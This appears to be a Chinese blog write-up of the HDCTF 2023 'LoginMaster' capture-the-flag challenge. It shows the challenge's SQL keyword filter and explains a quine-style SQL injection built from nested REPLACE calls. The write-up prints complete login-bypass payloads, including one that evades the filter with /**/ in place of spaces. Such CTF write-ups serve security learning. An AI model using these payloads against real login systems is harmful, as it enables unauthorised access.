[HDCTF 2023]LoginMaster(quine注入)

题目来源:[HDCTF 2023]LoginMaster | NSSCTF

quine注入原理:SQL注入之Quine | skkyblu3 (kksky.blue)

从三道赛题再谈Quine trick-安全客 - 安全资讯平台 (anquanke.com)

1.直接用万能密码测试提示只有admin能登录,接着尝试访问robots.txt提示代码为

function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

有很多字符被过滤,而且要满足输入的输入的password与表中password相同

2.看了别人的wp之后,了解到了quine注入这种方式,要满足语句

if ($row['password'] === $password)

但其实这张表是空表,没有password字段,这时就要用quine注入使得输入结果与输出结果相同

3.简单分享我对quine注入的理解

要进行quine注入首先要知道要用的函数replace

REPLACE ( string_expression , string_pattern , string_replacement )

即将string_expression中所有string_pattern替换为string_replacement

利用如下语句时

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

会使输入值与查询结果完全相同,具体实现过程看上面的链接,有全面的解释

4.本题payload

1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#

空格,更换为/**/即可

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

  • 10
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值